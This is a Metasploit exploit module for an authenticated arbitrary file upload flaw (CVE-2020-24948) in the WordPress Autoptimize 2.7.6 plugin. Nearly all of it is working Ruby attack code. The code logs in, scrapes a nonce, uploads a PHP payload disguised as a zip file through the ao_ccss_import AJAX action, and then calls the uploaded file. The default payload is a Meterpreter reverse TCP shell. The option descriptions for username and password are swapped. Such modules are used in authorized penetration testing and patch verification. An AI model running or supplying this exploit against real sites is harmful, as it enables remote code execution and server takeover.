WordPress Plugin Autoptimize 2.7.6 – Authenticated Arbitrary File Upload (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info( info, 'Name' => 'Wordpress Autoptimize Authenticated File Upload', 'Description' => %q{ The ao_ccss_import AJAX call does not ensure that the file provided is a legitimate Zip file, allowing high privilege users to upload arbitrary files, such as PHP, leading to RCE. }, 'Author' => [ 'Khanh Nguyen - Suncsr Team', # Vulnerability discovery 'Hoa Nguyen - Suncsr Team', # Metasploit module 'Thien Ngo - Suncsr Team' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2020-24948'], ['EDB', '48770'], ['WPVDB', '10372'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'Targets' => [['WP Autoptimize 2.7.6', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => '2020-08-24')) register_options( [ OptString.new('USERNAME', [true, 'The WordPress password to authenticate with', nil]), OptString.new('PASSWORD', [true, 'The WordPress username to authenticate with', nil]) ]) end def check check_plugin_version_from_readme('autoptimize','2.7.7') end def ao_ccss_import_nonce(cookie) res = send_request_cgi({ 'uri' => normalize_uri(wordpress_url_backend,'options-general.php'), 'cookie' => cookie, 'vars_get' => { 'page' => 'ao_critcss' } },5) if res.code == 200 print_good("Found ao_ccss_import_nonce_code Value!") else fail_with(Failure::Unknown,'Server did not response in an expected way') end ao_ccss_import_nonce_code = res.body.match(/'ao_ccss_import_nonce', '(\w+)/).captures[0] return ao_ccss_import_nonce_code end def exploit username = datastore['USERNAME'] password = datastore['PASSWORD'] print_status("Trying to login as #{username}") cookie = wordpress_login(datastore['USERNAME'],datastore['PASSWORD']) if cookie.nil? print_error("Unable to login as #{username}") end vars = ao_ccss_import_nonce(cookie) print_status("Trying to upload payload") filename = "#{rand_text_alpha_lower(8)}.php" data = Rex::MIME::Message.new data.add_part('ao_ccss_import', nil, nil, 'form-data; name="action"') data.add_part(vars, nil, nil, 'form-data; name="ao_ccss_import_nonce"') data.add_part(payload.encoded, 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{filename}\"") post_data = data.to_s print_status("Uploading payload") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(wordpress_url_backend,'admin-ajax.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data, 'cookie' => cookie }) if res.code == 200 register_files_for_cleanup(filename) else fail_with(Failure::Unknown,'Server did not response in an expected way') end print_status("Calling uploaded file #{filename}") send_request_cgi({'uri' => normalize_uri(wordpress_url_wp_content, 'uploads','ao_ccss',filename)},5) end end |